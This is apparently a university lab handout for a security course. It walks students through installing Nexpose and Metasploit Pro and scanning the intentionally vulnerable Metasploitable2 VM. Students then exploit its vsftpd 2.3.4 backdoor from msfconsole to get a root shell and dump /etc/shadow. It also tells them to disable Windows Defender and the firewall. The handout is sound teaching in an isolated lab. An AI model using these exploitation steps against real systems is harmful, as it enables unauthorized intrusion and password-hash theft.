**Lab #5**

**CECS 378 – Spring 2021 – Cappel & Uuh**

**Due:** Wednesday, March 22nd by 11:59 PM

**Lab #5 is focused on learning about the Nexpose vulnerability assessment tool along with the Metasploit Framework which is one of the tools most widely used by Information Security professionals to perform penetration testing.**

**We will be using the following VM’s for this lab: KaliLinux, Win10, and a new VM we will create. There are nine screenshots & one question in this lab all worth 10 points each.**

**Note**: You can delete the SEEDLabs virtual machines as we are no longer going to need them this semester.

Just right-click on each virtual machine in Oracle VirtualBox, select Remove, and select Delete all Files.

Now for a little background information…😉

[**Penetration**](https://en.wikipedia.org/wiki/Public_key_infrastructure) **Testing**

Penetration testing is an entire field of work on its own within the Information Security space. Penetration testing is a way for you to simulate the methods that an attacker might use to circumvent security controls and gain access to an organization’s systems. The Penetration Testing Execution Standard **(PTES)** defines the penetration testing process and has been adopted by leading members of the security community. Its charter is to define and raise awareness about what a penetration test means by establishing a baseline of fundamental principles required to conduct a penetration test.

PTES phases are designed to define a penetration test and assure the client organization that a standardized level of effort will be expended in a penetration test by anyone conducting this type of assessment. The standard is divided into *seven* categories with different levels of effort required for each, depending on the organization under attack.

The following are the seven categories defined by the standard as the basis for penetration testing execution:

* [Pre-engagement Interactions](http://www.pentest-standard.org/index.php/Pre-engagement" \o "Pre-engagement)
* [Intelligence Gathering](http://www.pentest-standard.org/index.php/Intelligence_Gathering)
* [Threat Modeling](http://www.pentest-standard.org/index.php/Threat_Modeling)
* [Vulnerability Analysis](http://www.pentest-standard.org/index.php/Vulnerability_Analysis)
* [Exploitation](http://www.pentest-standard.org/index.php/Exploitation)
* [Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation" \o "Post Exploitation)
* [Reporting](http://www.pentest-standard.org/index.php/Reporting)
* **Note**: If interested, you can examine each of these sections by selecting the hyperlinks above. PTES also provides [technical guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines) for each of these categories that helps define procedures to follow during a test.

[**Metasploit**](https://en.wikipedia.org/wiki/Public_key_infrastructure)

In this lab you will learn and use the Metasploit Framework. Metasploit is backed by a community of well over 200,000 users and contributors. It is the most impactful penetration testing solution on the planet. With Metasploit you can uncover weaknesses in your defenses, focus on the highest risks, and improve your security outcomes.

When you encounter the Metasploit Framework **(MSF)** for the first time, you might be overwhelmed by its many interfaces, options, utilities, variables, and modules. In this lab, we will focus on the basics that will help you make sense of the big picture. To begin, we will learn some basic penetration testing terminology and then briefly cover the various user interfaces that Metasploit has to offer. We will then download one of the commercial Metasploit offerings from Rapid7 called Metasploit Pro and install a 14-day trial version on our Windows 10 virtual machine to see what that product has to offer in comparison to the Metasploit console found in the Kali Linux distribution. We will then build a new virtual machine called Metasploitable2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities using Metasploit and is used as a valuable teaching tool. The Metasploitable2 virtual machine will be our target device for this lab and we will use the Metasploit Framework console and Nexpose vulnerability scanner running on our Kali Linux virtual machine and the Metasploit Pro application running on our Windows 10 virtual machine as our attacker penetration testing devices.

[**Terminology**](https://en.wikipedia.org/wiki/Public_key_infrastructure)

Throughout this lab, we will use and see various terms that probably need further explanation. The majority of the following basic terms are defined in the context of Metasploit, but they are generally the same throughout the security industry.

**Exploit** - Means by which an attacker takes advantage of a flaw within a system, an application, or a service. Examples include buffer overflows, SQL injection, and configuration errors.

**Payload** - Code that we want to execute and that is to be selected and delivered by the Metasploit Framework. Examples include a *reverse shell* which is a payload that creates a connection from the target machine back to the attacker as a windows command prompt or a *bind shell* which is a payload that “binds” a command prompt to a listening port on the target machine, which the attacker can then connect.

**Shellcode** - Set of instructions used as a payload when exploitation occurs.

**Module** - A piece of software that can be used by the MSF.

**Listener** – A component within the MSF that waits for an incoming connection of some sort.

**Meterpreter** – A Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code. **Meterpreter** is deployed using in-memory DLL injection. As a result, **Meterpreter** resides entirely in memory and writes nothing to disk.

**Nexpose**

In this lab you will learn and use the Nexpose vulnerability assessment tool from Rapid7. This tool allows you to dynamically discover your complete attack surface and finds vulnerabilities on target devices. It helps you understand your threat exposure by determining if your vulnerabilities can be exploited and if your compensating controls are deployed successfully. Nexpose will allow you to assess a particular asset using a credentialed scan of the device and report back all the vulnerabilities on the system. You can place several devices in a site and scan multiple devices concurrently. It also allows you to create automated reports that you can then show your management.

Not every vulnerability you find on a device with Nexpose can be exploited. Nexpose verifies controls you have in place and seamlessly integrates with Metasploit, built on the world’s most impactful penetration testing software, to validate vulnerability exploitability, test effectiveness of controls, and drive effective remediation for proven risk. Exploits that are validated from Metasploit are automatically pushed to Nexpose for prioritization and remediation. The two products (Nexpose and Metasploit Pro) integrate very nicely together.

**Metasploitable**

A test environment (like our VirtualBox setup) provides a secure place to perform penetration testing and security research. For your test environment, you need a Metasploit instance that can access a vulnerable target so you can practice leveraging the various tools at your disposal.

The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. This virtual machine is compatible with VirtualBox and will be used as the target device in our lab.

Enough background information, let’s get to work…😉

**Task 1 – Install a Trial Version of Rapid7 Metasploit Pro on the Windows VM**

Perform the following steps on the Windows virtual machine within Oracle VirtualBox:

1. Turn on your Windows virtual machine in Oracle VirtualBox.

**Note**: You will use the Windows virtual machine in this particular task and others later in the lab.

1. Login to the Windows 10 virtual machine with an account that has administrator privilege from Lab1.

Turn off Windows Defender by performing the following steps on the Windows 10 virtual machine:

1. Click the start menu (Window icon) in the lower-left corner and type the word “virus”.
2. Select the Virus & Threat Protection link.
3. At the Virus & Threat Protection screen, scroll down to the virus and threat protection settings and Select Manage Settings.
4. Turn OFF real-time protection. When prompted if you want to allow the action, select Yes.
5. Close the Virus & Threat Protection Window.

**Note**: You will need to turn off virus protection when running Metasploit Pro if the Windows device is ever rebooted or restarted as the virus protection will be re-enabled.

Turn off the Windows Firewall by performing the following steps on the Windows 10 virtual machine:

1. Click the start menu (Window icon) in the lower-left corner and type the word “control”.
2. Select the Control Panel application link.
3. Select System and Security.
4. Select Windows Defender firewall.
5. Select the turn Windows Defender firewall on and off (on the left side of the page).
6. Turn OFF the Windows Defender firewall in both the public and private sections. Select OK.
7. Close the Windows Defender Firewall Window.

**Note**: You will need to turn off the firewall when running Metasploit Pro if the Windows device is ever rebooted or restarted as the firewall may be re-enabled.

1. Access the Metasploit Pro trial version page from the following location using the Edge web browser:

<https://www.rapid7.com/products/metasploit/download/pro/>

1. Fill in the following information in the form: First and Last Name, Email Address (You can use your CSULB email address), Company (CSULB), Phone, and Type of Use (Student). Once the six fields are completed, select Submit.
2. At the It’s Go Time page, select Windows: 64-bit.
3. At the what do you want to do with Metasploit-latest-windows-installer.exe, select Save.
4. At the Metasploit-latest-windows-installer finished downloading message, select Run.
5. When you receive the dialog box asking to allow the app to make changes to your device, select Yes.
6. At the Welcome to the Metasploit setup wizard page, select Next.
7. At the license agreement page, select I Accept the Agreement and select Next.
8. At the installation folder page, leave the default location and select Next.
9. At the disable antivirus and firewall page, read the notes on the screen and then select Next.

**Note**: If your virus protection is on, turn it off following step #3 and continue the Metasploit installation.

1. At the Metasploit service page, leave the default port number (3790) and select Next.
2. At the Generate an SSL Certificate page, leave the defaults and select Next.
3. At the Ready to Install page, select Next.

**Note**: This step took 10 minutes on my laptop – grab a cup of coffee.

1. At the Completing the Metasploit Setup Wizard page, select Finish. Be patient as the web UI loads.
2. At the New User Setup page, create a username and password used to access the Metasploit web interface (make your life easy and use the same credentials as your Windows 10 virtual machine credentials), enter your Full Name, email (CSULB email is fine), Organization (CSULB), and verify the Time Zone (Pacific). Then select the Create Account link in the lower right corner.
3. You should have received an email containing a welcome message from Rapid 7. That email will contain your trial product key.
4. At the Activate your Metasploit License page, enter the trial product key and select Activate License.
5. You should receive an Activation Successful note at the top of the page.

**Screen Shot 1)** Take a screen shot of your activated Metasploit web interface.

1. Logout of the Metasploit web interface by selecting your Account on the top menu and select Logout.
2. Close the browser window & shut down the Win10 virtual machine by selecting the Windows icon on the lower-left corner, selecting the Power option, and Shut down.

**Note**: Make sure to check that the virus protection is off when the virtual machine reboots.

1. Open Oracle VirtualBox on your personal laptop, select your Windows 10 virtual machine and select Settings.
2. Select the Network folder on the left side of the window and change the Attached To: setting to Host-only Adapter (From NAT Network to Host-only Adapter).

**Note**: This will place your Windows 10 virtual machine on a private 192.168.x.x network.

**Task 2 – Create the Metasploitable2 Virtual Machine**

As mentioned earlier, the Metasploitable2 virtual machine is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities using the Metasploit Framework and it is used as a valuable teaching tool. The Metasploitable2 virtual machine will be our target device for this lab.

Perform the following steps to build the Metasploitable2 virtual machine:

1. Open a browser on your personal laptop and navigate to the following web site:

<https://sourceforge.net/projects/metasploitable/files/Metasploitable2/>

1. Select the Download latest version link (green box).
2. If asked, select Save at the What do you want to do prompt. (Be patient as it is a large file - when the .part file disappears from the Download folder the download is complete – the zip file is roughly 844 Mb).
3. Right-click the metasploitable-linux-2.0.0 zip file and select the Extract All option. Leave all the defaults at the next screen and Select Extract. The metasploitable-linux-2.0.0 file folder will be created & you should see VM disk files in that folder when the extraction completes.
4. Open Oracle VirtualBox and select the Machine menu and select New.
5. Enter Metasploitable2 for the virtual machine Name, select Linux for the Type, select Ubuntu (64-bit) for the Version and select Next.
6. Increase the Memory size to 2048 Mb and select Next.
7. At the Hard disk window, select Use an existing virtual hard disk file, select the folder icon at the far right, select Add, browse to the Metasploitable2-Linux folder you extracted earlier, select the Metasploitable virtual disk file, select Open and then Choose.
8. At the Hard disk window, select Create.
9. The virtual machine template is now created, you should see the Metasploitable2 vm powered off.
10. Highlight the Metasploitable2 vm and select Settings.
11. Select the Network folder on the left side of the window and change the Attached To: setting to Host-only Adapter. Select Advanced and change the Promiscuous Mode setting to Allow VMs and select OK.

**Note**: This will place your Metasploitable2 virtual machine on a private 192.168.x.x network. This is required for the Kali Linux and the Windows 10 virtual machines to be on the same network.

1. Start the Metasploitable2 virtual machine within Oracle VirtualBox.

**Screen Shot 2)** Take a screen shot of your running Metasploit2 machine showing the Metasploit graphic.

1. At the login prompt, enter **msfadmin** as the login account and **msfadmin** as the password.
2. At the command prompt, enter *ifconfig* and record the IP Address (inet address) of the Metasploitable2 vm. You will use this IP Address many times later in the lab.

**Note**: The IP Address should be 192.168.x.x if it is on the correct network.

**Note**: The Metasploitable2 virtual machine’s screen will go dark when there is little activity within the virtual machine. To wake the virtual machine, select the Input menu at the top of the page, select Keyboard, select soft keyboard. Then select the spacebar on the soft keyboard and the vm will wake.

**Note**: To gracefully shut down the Metasploitable2 vm, type “*sudo shutdown -P now”* at the CLI.

1. Shut down the Metasploitable2 virtual machine using the command listed above.

**Task 3 – Install a Trial Version of Rapid7 Nexpose on the Kali Linux VM**

Perform the following steps on the Kali Linux virtual machine within Oracle VirtualBox:

1. Open Oracle VirtualBox on your personal laptop, select your Kali Linux virtual machine and select Settings.
2. Select the system tab on the left, move the amount of memory to 8 Gb (8192 Mb).

**Note**: If you do not have 8 Gb of memory select the largest amount available.

1. Select the processor tab, move the number of CPU’s to 4.

**Note**: If you do not have 4 CPU’s select the largest amount available.

1. Turn on your Kali Linux virtual machine in Oracle VirtualBox.

**Note**: You will only require the Kali Linux virtual machine in this task.

1. Login to the Kali Linux virtual machine with the account you created in Lab 1.
2. Open a web browser by selecting the icon in the upper-left corner, select Web Browser and access the Nexpose trial version page from the following location using the browser:

<https://www.rapid7.com/try/nexpose/>

1. Fill in the following information in the form: First and Last Name, Email Address (You can use your CSULB email address), Company (CSULB), and Phone. Once these fields are completed, select Submit.
2. At the It’s Go Time page, select Linux: 64-bit and select Save File. When the download completes close the web browser.
3. On the Kali Linux desktop, double-click file system link.
4. Open the downloads folder and drag the Rapid7Setup-Linux64.bin file to the desktop.
5. Close the file system.
6. You should have received an email in the mailbox you entered in the download form containing a welcome message from Rapid 7. That email will contain your trial product key. You will need this key during the installation of Nexpose.
7. Open the terminal emulator window on your Kali Linux machine.
8. Enter the following commands to install Nexpose on your Kali Linux machine.

*cd Desktop*

*chmod +x Rapid7Setup-Linux64.bin*

*sudo ./Rapid7Setup-Linux64.bin*

**Note**: If you receive a message stating your display needs to be a higher resolution, set your display settings to 800x600 by right-clicking on the Kali Linux desktop, select Applications, select Settings, select Display, set the resolution to 800x600, select Apply, and select Close. You may want to set the Display settings of the Kali Linux vm in Oracle VirtualBox to 175% for the best picture.

1. At the Welcome page, select Next.
2. At the select components and installation path, leave all the defaults, and select Next.
3. You can safely ignore the disk space warning, select Continue.
4. At the comparing system settings page, you can safely ignore the memory warning and select Next.
5. At the create your account information page, enter your first and last name, enter CSULB for the company, create a userid and a password for the Nexpose console. I used the same userid and password I use to login to the Kali Linux machine. Do not forget this ID and password.
6. At the confirmation page, check the Initialize and Start after Installation check box and select Next.
7. At the installation is complete page, click Finish.
8. Once the installation has completed, execute the following command to start the Nexpose service:

*sudo systemctl start nexposeconsole.service*

**Note**: To get a status on the Nexpose console services use the following command:

*sudo systemctl status nexposeconsole.service*

**Note**: Don’t do this now, but to stop the Nexpose console services use the following command:

*sudo systemctl stop nexposeconsole.service*

1. Close the terminal emulator with the Nexpose console service started and active.
2. Start the web browser by selecting the icon in the upper-left corner, select Web Browser, and access the Nexpose console by entering the following URL:

<https://localhost:3780>

**Note**: Be patient the first time you start the Nexpose console – it takes time to initialize the console.

It can take several minutes to receive the login prompt. Please be patient!

1. At the Warning: Potential Security Risk ahead page, select Advanced and select the Risk and Continue.
2. Login to the Nexpose console using the ID and Password created above in Step #19.
3. At the Activate a New License page, enter the product key that was sent to your CSULB email and select Activate with Key. You should eventually receive a dialog box stating activation was successful.

**Note**: Be patient as this activation takes several minutes to complete.

1. Select the Administration link in the menu on the left side of the Nexpose screen (the one at bottom).
2. Select the Manage link in the Scan Options | Engines section.

**Screen Shot 3)** Take a screen shot of the scan engine information.

1. Logout of the Nexpose console by selecting the username in the upper-right corner.
2. Close the web browser and shut down the Kali Linux virtual machine.
3. Open Oracle VirtualBox on your personal laptop, select your Kali Linux virtual machine and select Settings.
4. Select the Network folder on the left side of the window and change the Attached To: setting to Host-only Adapter (From NAT Network to Host-only Adapter).

**Note**: This will place your Kali Linux virtual machine on the private 192.168.x.x network.

1. Restart the Kali Linux virtual machine and login to the Kali Linux virtual machine.
2. Start the web browser by selecting the icon in the upper-left corner, select Web Browser, and access the Nexpose console by entering the following URL:

<https://localhost:3780>

**Note**: Be patient as it takes time to initialize the console. If you receive a connection timeout, simply what a little bit and try again. Please be patient!

1. Login to the Nexpose console using the ID and Password created above in Step #19.
2. At this point, turn on your Metasploitable2 vm and login to that virtual machine.
3. Back on the Kalilinux vm, Select the Home link in the menu on the left side of the Nexpose screen.
4. Select the Create Site link in the middle of the page.
5. At the Site Configuration page, Enter “LAB5” in the Name field. (Without the quotes of course)
6. Select the Assets Menu.
7. In the Assets text box, enter the IP Address of the Metasploitable2 vm you recorded in Task 2 Step 15.

**Note**: The IP Address should be 192.168.x.x. Where the x’s are integers.

1. Select the Authentication Menu.
2. Select the Add Credentials tab on the left side of the page.
3. In the Name field, Enter “Metasploitable2-User”. (Again, without the quotes)
4. Select the Account tab on the left side of the page.
5. In the Service field, select Secure Shell (SSH). In the Username field, enter msfadmin. In the Password field, enter msfadmin. Reenter msfadmin in the Confirm Password field. In the Permission Elevation Type field, select sudo. In the Permission Elevation Password enter msfadmin. In the Confirm Permission Elevation Password enter msfadmin.
6. Expand the Test Credentials section and Enter the IP Address of the Metasploitable2 device in the IP Address/Host Name field.
7. Select TEST CREDENTIALS.

**Note**: If this is not successful, you will not be able to properly scan the target device.

1. Select the CREATE button at the top-right of the Authentication page.
2. Select the Templates Menu, select Full audit.
3. Select the Engines Menu, make sure local scan engine is selected.
4. Now select the Save and Scan button on the top-right corner of the page.
5. When you get the confirmation window, select Save and Scan.

The scanning for vulnerabilities on the Metasploitable2 virtual machine will now begin.

**Note**: The scan will take a considerable amount of time (mine took 20 mins) - get a snack. The scan status should eventually tell you it completed successfully and if you scroll down you should see no incomplete assets.

**Question 1)** How many vulnerabilities were found on the Metasploitable2 virtual machine?

**Task 4 – Exploitation Using MSFConsole**

Perform the following steps on the Kali Linux virtual machine within Oracle VirtualBox:

1. Turn on your Kali Linux machine in Oracle VirtualBox (if not already on).
2. Login to the Kali Linux virtual machine with the account you created in Lab 1.

One of the first steps in penetration testing is information gathering. We will use the nmap command to determine ports that are open and listening on the Metasploitable2 machine as those ports are susceptible to exploitation.

1. Select the Kali logo icon in the upper-left corner. Select the Information Gathering menu. Select the Network & Port Scanners. Select the nmap command.

**Note**: Examine the extensive number of options with the nmap command.

1. Run the following command to gather information on the Metasploitable2 machine:

*sudo nmap -p- <IPAddress>* (Where <IPAddress> is the IP Address of the Metasploitable2 vm.)

**Note**: You will see many open ports. We will target the FTP service listening on Port 21.

**Screen Shot 4)** Take a screen shot of the open ports found with nmap.

1. Run the following command to gather information on the FTP port:

*sudo nmap -p 21 -sC -sV <IPAddress>* (Where <IPAddress> is the IP Address of the Metasploitable2 vm.)

**Note**: We will leverage the detailed version information (vsftpd 2.3.4) shown to find potential exploits.

1. Close the command line window by typing exit.

Now that we have gathered some information on our target device, we will use the Metasploit console to search for an exploit against vsftpd 2.3.4 and if we find one, we will attempt to exploit Metasploitable2.

1. Select the Kali logo icon in the upper-left corner. Select the Exploitation tools menu. Select the Metasploit framework option.
2. At the Metasploit prompt type the following command to search for exploits:

*search vsftpd*

**Note**: You should see 1 exploit (backdoor) & it happens to be against the version we are using (2.3.4).

1. At the Metasploit prompt type the following command to use that exploit:

*use exploit/unix/ftp/vsftpd\_234\_backdoor*

**Note**: You should see the prompt include the name of the exploit in red font if it loaded properly

1. Now let us list the options you can set with this exploit by entering the following command:

*show options*

**Note**: You will notice you have to set the remote host IP Address and the port number.

1. Set the RHOSTS parameter by entering the following command:

*set RHOSTS <IPAddress>* (Where <IPAddress> is the IP Address of the Metasploitable2 vm.)

1. Run the following command to ensure the new RHOSTS setting took:

*show options*

**Note**: RHOSTS should now be set to the IP Address of the Metasploitable2 virtual machine.

1. Now we are ready to attempt to exploit the Metasploitable2 machine. Type the following command:

*exploit*

**Note**: The exploit should have worked and you should now have a command shell open on the Metasploitable2 virtual machine.

1. Type the following commands to show that you have a command shell as root:

*whoami* (This should have returned root)

*pwd* (This should have returned “/” which is the root directory)

*cat /etc/shadow* (This should have returned a lot of password hashes)

**Screen Shot 5)** Take a screen shot of a portion of the shadow file containing the hash of the root account.

**Note**: Congratulations you pwned your first Linux machine!! Someone is going to have a bad day…

1. Type the following command to stop the remote command shell session:

*Ctrl^C* (Type “y” when asked if you would like to abort the session)

1. Close the command line window.

**Task 5 – Exploitation Using Metasploit Pro**

Perform the following steps on the Windows 10 virtual machine within Oracle VirtualBox:

1. Turn on your Windows 10 machine in Oracle VirtualBox.
2. Login to the Windows 10 virtual machine with the account you created in Lab 1.

Turn off Windows Defender by performing the following steps on the Windows 10 virtual machine:

1. Click the start menu (Window icon) in the lower-left corner and type the word “virus”.
2. Select the Virus & Threat Protection link.
3. At the Virus & Threat Protection screen, scroll down to the virus and threat protection settings and Select Manage Settings.
4. Turn OFF real-time protection. When prompted if you want to allow the action, select Yes.
5. Close the Virus & Threat Protection Window.

**Note**: You will need to turn off virus protection when running Metasploit Pro if the Windows device is ever rebooted or restarted as the virus protection will be re-enabled.

One of the first steps in penetration testing is information gathering. We will use the nmap command to determine ports that are open and listening on the Metasploitable2 machine as those ports are susceptible to exploitation.

1. Click the start menu in the lower-left corner, select the Metasploit folder, select start services

(answer Y), and then select Access Metasploit Web UI. If Metasploit is initializing – please be patient.

1. Login to the Metasploit Pro console using the userid and password from Task 1, Step #32.
2. Select New Project in the middle of the Home page, enter LAB5 in the project name field, and select create project in the lower-right.
3. Select the Nexpose Scan in the Discovery window.
4. At the Import Data window, select Configure a Nexpose Console.
5. At the Configure Nexpose Console window, enter “LAB5 Nexpose Console” in the Name field, enter the IP Address of the KaliLinux machine in the Address field, enter “3780” in the Port field, enter the username from Task 3, Step #16 and the password for that account, and select Connect to Nexpose.

**Note**: You should see the LAB5 site listed with one asset.

1. Select the check box next to LAB5 and select Import Data in the lower-right corner of the window.
2. After the import completes, select the LAB5 tab in the upper-left corner. 
3. Scroll-down to the Discovery section.

**Screen Shot 6)** Take a screen shot showing the Discovery section.

1. In the Discover section, select the 1 host discovered text.

**Note**: This discovery section is performing the information gathering.

1. Select the services tab to see all the services that the Nexpose scan detected (similar to the nmap).
2. Select the disclosed vulnerabilities tab to see all the vulnerabilities that were imported.
3. Select the LAB5 tab in the upper-left corner again. 
4. Scroll-down to the Penetration section.

**Screen Shot 7)** Take a screen shot showing the Penetration section.

1. In the Penetration section, select Exploit…
2. At the automated exploit settings, enter the IP of the Metasploitable2 vm in the target address field, select Excellent from the Minimum Reliability field, and select Exploit. Be patient this takes some time.

**Note**: Watch the progress bar at the top. This tool will try ALL the available exploits at once where the metasploit console performed one exploit at a time. This is why you pay $$$ for Metasploit Pro.

1. Select the Collect button in the upper-right corner of the window.

**Note**: You should see two open sessions to the target device.

1. Select the LAB5 tab in the upper-left corner again. 
2. Scroll-down to the Penetration section and select the sessions opened.

**Screen Shot 8)** Take a screen shot showing the Active sessions.

1. Select the first active session.
2. Select Access Filesystem.

**Note**: You should see the filesystem on the Metaspoitable2 virtual machine.

1. Select the back arrow at the top of the browser menu.
2. Select command shell.
3. In the meterpreter window, enter the following commands:

*sysinfo* (This should have returned the device name and OS version)

*pwd* (This should have returned “/” which is the root directory)

*ps* (This should have returned all the processes running on the remote system)

**Screen Shot 9)** Take a screen shot showing some of the active processes running on Metasploitable2.

**Note**: Congratulations you pwned the same Linux machine with Metasploit Pro!! Bad day continues…